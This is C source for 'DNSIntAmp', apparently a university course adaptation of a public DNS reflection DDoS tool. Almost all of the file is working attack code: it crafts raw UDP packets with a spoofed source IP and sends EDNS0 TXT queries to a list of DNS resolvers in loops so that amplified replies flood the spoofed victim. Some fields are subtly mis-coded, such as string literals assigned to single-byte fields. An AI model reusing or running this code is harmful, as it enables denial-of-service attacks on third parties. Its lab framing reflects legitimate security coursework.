//DNSIntAmp v1.0 - Internal DNS Amplification Testing Tool // //Based on "DNSDRDoS.c" by Noptrix and Nullsecurity // //Modified by James R. Rogers for Lewis University 68-590 #include #include #include #include #include #include #include #include #include #include //Global Settings #define VERSION "v1.0" #define ATOI(x) strtol(x, (char **) NULL, 10) #define MAX_LEN 128 //Maximum Length of the DNS Server List //Default Settings #define DEFAULT_SPOOF_ADDR "10.1.1.61" #define DEFAULT_DOMAIN "Amplification3.Lewis68590.Net." #define DEFAULT_DNS_PORT 53 #define DEFAULT_LOOPS 1 //Error Handling #define __EXIT_FAILURE exit(EXIT_FAILURE); #define __EXIT_SUCCESS exit(EXIT_SUCCESS); #define __ERR_GEN do { fprintf(stderr,"[-] ERROR: " __FILE__ ":%u -> ",\ __LINE__); fflush(stderr); perror(""); \ __EXIT_FAILURE } while (0) //DNS Header Section typedef struct { unsigned short id; unsigned char rd :1; unsigned char tc :1; unsigned char aa :1; unsigned char opcode :4; unsigned char qr :1; unsigned char rcode :4; unsigned char cd :1; unsigned char ad :1; unsigned char z :1; unsigned char ra :1; unsigned short q_count; unsigned short ans_count; unsigned short auth_count; unsigned short add_count; } dnsheader_t; //DNS Query and Additional Records (OPT RR) Section typedef struct { unsigned short qtype; unsigned short qclass; //New OPT RR Options for EDNS0 Compliance unsigned char optname; //OPT RR - Domain Name unsigned char opttypea; //OPT RR - Type (First Character) unsigned char opttypeb; //OPT RR - Type (Second Character) unsigned char optclassa; //OPT RR - Class / UDP Payload Size (First Character) unsigned char optclassb; //OPT RR - Class / UDP Payload Size (Second Character) unsigned char optbits; //OPT RR - TTL / RCODE Higher Bits unsigned char optver; //OPT RR - EDNS0 Version unsigned short optz; //OPT RR - Z / Future Use Character unsigned short optdatalen; //OPT RR - Data Length } query_t; //Separate the OPT RR section from the Query section - work in progress. typedef struct { } opt_t; //Create the Packet Structure typedef struct { char *file; char **addrs; uint16_t port; unsigned int num_addrs; char *spoof_addr; char *domain; unsigned int loops; } job_t; //Fill the Packet Structure. typedef struct { int one; int sock; char *packet; struct sockaddr_in target; struct iphdr *ip; struct udphdr *udp; dnsheader_t *dns; query_t *query; opt_t *opt; //JRR - Added } bomb_t; //Build the Wrapper void *xmalloc(size_t); void *xmemset(void *, int, size_t); int xsocket(int, int, int); void xclose(int); void xsendto(int, const void *, size_t, int, const struct sockaddr *, socklen_t); // void banner(); void usage(); void check_argc(int); void check_args(); FILE *open_file(char *); unsigned int count_lines(char *); char **read_lines(char *, unsigned int); void check_uid(); //Create the Raw Sockets bomb_t *create_rawsock(bomb_t *); bomb_t *stfu_kernel(bomb_t *); unsigned short checksum(unsigned short *, int); bomb_t *build_ip_header(bomb_t *, job_t *, int); bomb_t *build_udp_header(bomb_t *, job_t *); bomb_t *build_dns_request(bomb_t *, job_t *); void dns_name_format(char *, char *); bomb_t *build_packet(bomb_t *, job_t *, int); bomb_t *fill_sockaddr(bomb_t *); void run_dnsintamp(job_t *, int); void free_intamp(job_t *); //Create Wrapper for Memory Allocation void *xmalloc(size_t size) { void *buff; if ((buff = malloc(size)) == NULL) { __ERR_GEN; } return buff; } //Create Wrapper for MemSet void *xmemset(void *s, int c, size_t n) { if (!(s = memset(s, c, n))) { __ERR_GEN; } return s; } //Create Wrapper for Socket int xsocket(int domain, int type, int protocol) { int sockfd = 0; sockfd = socket(domain, type, protocol); if (sockfd == -1) { __ERR_GEN; } return sockfd; } //Create Wrapper to Set Socket Options void xsetsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen) { int x = 0; x = setsockopt(sockfd, level, optname, optval, optlen); if (x != 0) { __ERR_GEN; } return; } //Create Wrapper to Close void xclose(int fd) { int x = 0; x = close(fd); if (x != 0) { __ERR_GEN; } return; } //Create Wrapper for Sending void xsendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) { int x = 0; x = sendto(sockfd, buf, len, flags, dest_addr, addrlen); if (x == -1) { __ERR_GEN; } return; } //Banner void banner() { printf("-------------------------------------------\ \nDNSIntAmp - Internal DNS Amplification Tool\ \n-------------------------------------------\n"); return; } //Usage and Help Text void usage() { printf("Usage:\n\n\ DNSIntAmp -f [Options] | [Misc]\n\ \nTarget:\n\n\ -f - List of DNS Servers (One IP Address Per Line)\n\ -s - IP Address to Spoof (Default: 127.0.0.1)\n\ -d - Which domain name should be requested?\n\ (default: \"Amplification3.Lewis68590.net.\")\n\ -l - Number of Loops to Iterate (Default: 1)\n\nMisc:\n\n\ -V - Show Version\n\ -H - Show help and usage\n\nExample:\n\n\ ./DNSIntAmp -f DNSList.txt -s 10.1.1.61 -d Amplification3.Lewis68590.net. -l 1\n\n\ "); __EXIT_SUCCESS; return; } //Check First Usage for Errors void check_argc(int argc) { if (argc < 2) { fprintf(stderr, "[-] Error: Use -H for Help and Usage\n"); __EXIT_FAILURE; } return; } //Ensure Host and Port are Selected void check_args(job_t *job) { if (!(job->file) || !(job->spoof_addr) || (job->loops <= 0)) { fprintf(stderr, "[-] Error: Host and/or Port Missing.\n"); __EXIT_FAILURE } return; } //Open File and Return File Pointer FILE *open_file(char *file) { FILE *fp = NULL; if (!(fp = fopen(file, "r"))) { __ERR_GEN; } return fp; } //Count Lines in DNS Server List unsigned int count_lines(char *file) { FILE *fp = NULL; int c = 0; unsigned int lines = 0; fp = open_file(file); while ((c = fgetc(fp)) != EOF) { if ((c == '\n') || (c == 0x00)) { lines++; } } fclose(fp); return lines; } //Read IP Address from DNS Server List char **read_lines(char *file, unsigned int lines) { FILE *fp = NULL; char *buffer = NULL; char **words = NULL; int i = 0; fp = open_file(file); buffer = (char *) xmalloc(MAX_LEN); words = (char **) xmalloc(lines * sizeof(char *)); buffer = xmemset(buffer, 0x00, MAX_LEN); while (fgets(buffer, MAX_LEN, fp) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; words[i] = (char *) xmalloc(MAX_LEN - 1); words[i] = xmemset(words[i], 0x00, MAX_LEN - 1); strncpy(words[i], buffer, MAX_LEN - 1); buffer = xmemset(buffer, 0x00, MAX_LEN - 1); i++; } else { continue; } } free(buffer); fclose(fp); return words; } //Set Default Values for Missing Values job_t *set_defaults() { job_t *job; job = (job_t *) xmalloc(sizeof(job_t)); job = xmemset(job, 0x00, sizeof(job_t)); job->port = (uint16_t) DEFAULT_DNS_PORT; job->spoof_addr = DEFAULT_SPOOF_ADDR; job->domain = DEFAULT_DOMAIN; job->loops = (unsigned int) DEFAULT_LOOPS; return job; } //Ensure DNSIntAmp is Executed As Root void check_uid() { if (getuid() != 0) { fprintf(stderr, "[-] Error: You need to have root privileges to create raw sockets.\n"); __EXIT_FAILURE; } return; } //Create Raw Socket bomb_t *create_rawsock(bomb_t *bomb) { bomb->sock = xsocket(AF_INET, SOCK_RAW, IPPROTO_RAW); return bomb; } //Cancel Kernel Calls and Set Unique Headers */ bomb_t *stfu_kernel(bomb_t *bomb) { bomb->one = 1; xsetsockopt(bomb->sock, IPPROTO_IP, IP_HDRINCL, &bomb->one, sizeof(bomb->one)); return bomb; } //Generate Checksum for IP and UDP Header unsigned short checksum(unsigned short *addr, int len) { u_int32_t cksum = 0; while(len > 0) { cksum += *addr++; len -= 2; } if(len == 0) { cksum += *(unsigned char *) addr; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum = cksum + (cksum >> 16); return (~cksum); } //Build and Fill IP Header bomb_t *build_ip_header(bomb_t *bomb, job_t *job, int c) { bomb->ip = (struct iphdr *) bomb->packet; bomb->ip->version = 4; bomb->ip->ihl = 5; bomb->ip->id = htonl(rand()); bomb->ip->saddr = inet_addr(job->spoof_addr); bomb->ip->daddr = inet_addr(job->addrs[c]); bomb->ip->ttl = 64; bomb->ip->tos = 0; bomb->ip->frag_off = 0; bomb->ip->protocol = IPPROTO_UDP; bomb->ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(dnsheader_t) + sizeof(query_t) + sizeof(opt_t) + //JRR - Added strlen(job->domain) + 1); bomb->ip->check = checksum((unsigned short *) bomb->ip, sizeof(struct iphdr)); return bomb; } //Build and Fill UDP Header bomb_t *build_udp_header(bomb_t *bomb, job_t *job) { bomb->udp = (struct udphdr *) (bomb->packet + sizeof(struct iphdr)); bomb->udp->source = htons(rand()); bomb->udp->dest = htons(DEFAULT_DNS_PORT); bomb->udp->len = htons(sizeof(struct udphdr) + sizeof(dnsheader_t) + sizeof(query_t) + sizeof(opt_t) + strlen(job->domain) + 1); //JRR - Added bomb->udp->check = 0; return bomb; } //DNS Format Conversion void dns_name_format(char *qname, char *host) { int i = 0; int j = 0; for (i = 0 ; i < (int) strlen(host) ; i++) { if (host[i] == '.') { *qname++ = i-j; for (; j < i; j++) { *qname++ = host[j]; } j++; } } *qname++ = 0x00; } //Build and Fill DNS Header, Query, and Additional Records (OPT RR) Section bomb_t *build_dns_request(bomb_t *bomb, job_t *job) { char *qname = NULL; bomb->dns = (dnsheader_t *) (bomb->packet + sizeof(struct iphdr) + sizeof(struct udphdr)); bomb->dns->id = (unsigned short) htons(getpid()); //Use Process ID as DNS Transaction ID bomb->dns->qr = 0; //This Message is a DNS Query bomb->dns->opcode = 0; //This is a Standard Query bomb->dns->aa = 0; //This Query is Not an Authoritative Answer bomb->dns->tc = 0; //This Query is Not Truncated bomb->dns->rd = 1; //Recursion is Desired (Required if DNS Server Queried is Not Authoritative for Domain Name) bomb->dns->ra = 0; //Recursion is Not Available By Querier bomb->dns->z = 0; //Reserved for Future Use - Must Be 0 bomb->dns->ad = 0; //An Unauthenticated Response is Acceptable bomb->dns->cd = 0; //Error Checking is Disabled bomb->dns->rcode = 0; //Response Code Indicates No Error Condition bomb->dns->q_count = htons(1); //Query Includes One Question bomb->dns->ans_count = htons(0); //Query Includes No Responses bomb->dns->auth_count = htons(0); //Query Includes No Authority Records bomb->dns->add_count = htons(1); //Query Includes One Additional Record - Permits "OPT RR" Records for EDNS0 qname = &bomb->packet[sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(dnsheader_t)]; dns_name_format(qname, job->domain); bomb->query = (query_t *) &bomb->packet[sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(dnsheader_t) + (strlen(qname) + 1)]; bomb->query->qtype = htons(16); //Query Solicits Text (TXT) Records Instead of A (host) Records bomb->query->qclass = htons(1); //The Following Additional Records (OPT RR) Added for EDNS0 Compliance bomb->query->optname = 0; //Domain Name Field, "0" Indicates Root Domain bomb->query->opttypea = 0; //Option Field - First Character bomb->query->opttypeb = 41; //Option Field - Second Character - Decimal "41" is Hexadecimal "29", for EDNS0 bomb->query->optclassa = "10"; //UDP Max Payload Size Field - First Character bomb->query->optclassb = "00"; //UDP Max Payload Size Field - Second Character - Hexadecimal "10 00" is Decimal "4096" bomb->query->optbits = 1; //TTL Field - Used for Response Code in EDNS0 bomb->query->optver = 0; //RDLEN Field - Used for Version Code in EDNS0 bomb->query->optz = 0; //Z Field - Reserved for Future Use bomb->query->optdatalen = 0; //Response Data Field - Reserved for Future Use bomb->opt = (opt_t *) &bomb->packet[sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(dnsheader_t) + (strlen(qname) + 1)]; return bomb; } //Assemble the Packet bomb_t *build_packet(bomb_t *bomb, job_t *job, int c) { bomb->packet = (char *) xmalloc(1400); bomb->packet = xmemset(bomb->packet, 0x00, 1400); bomb = build_ip_header(bomb, job, c); bomb = build_udp_header(bomb, job); bomb = build_dns_request(bomb, job); return bomb; } //Add the Socket Address bomb_t *fill_sockaddr(bomb_t *bomb) { bomb->target.sin_family = AF_INET; bomb->target.sin_port = bomb->udp->dest; bomb->target.sin_addr.s_addr = bomb->ip->daddr; return bomb; } //Send the Packet void run_dnsintamp(job_t *job, int c) { bomb_t *bomb = NULL; bomb = (bomb_t *) xmalloc(sizeof(bomb_t)); bomb = xmemset(bomb, 0x00, sizeof(bomb_t)); bomb = create_rawsock(bomb); bomb = stfu_kernel(bomb); bomb = build_packet(bomb, job, c); bomb = fill_sockaddr(bomb); xsendto(bomb->sock, bomb->packet, sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(dnsheader_t) + sizeof(query_t) + sizeof(opt_t) + strlen(job->domain) + 1, 0, (struct sockaddr *) &bomb->target, sizeof(bomb->target)); xclose(bomb->sock); free(bomb->packet); free(bomb); return; } //Free Up DNSIntAmp Resources void free_dnsintamp(job_t *job) { int i = 0; for (i = 0; i < job->num_addrs; i++) { free(job->addrs[i]); } free(job); return; } //Repeat the Process int main(int argc, char **argv) { int c = 0; unsigned int i = 0; job_t *job; banner(); check_argc(argc); job = set_defaults(); while ((c = getopt(argc, argv, "f:s:d:l:VH")) != -1) { switch (c) { case 'f': job->file = optarg; break; case 's': job->spoof_addr = optarg; break; case 'd': job->domain = optarg; break; case 'l': job->loops = (unsigned int) ATOI(optarg); break; case 'V': puts(VERSION); __EXIT_SUCCESS; break; case 'H': usage(); break; __EXIT_SUCCESS; } } check_args(job); job->num_addrs = count_lines(job->file); job->addrs = read_lines(job->file, job->num_addrs); check_uid(); for (i = 0; i < job->loops; i++) { for (c = 0; c < job->num_addrs; c++) { run_dnsintamp(job, c); } } printf("\n"); free_dnsintamp(job); return 0; } //End of File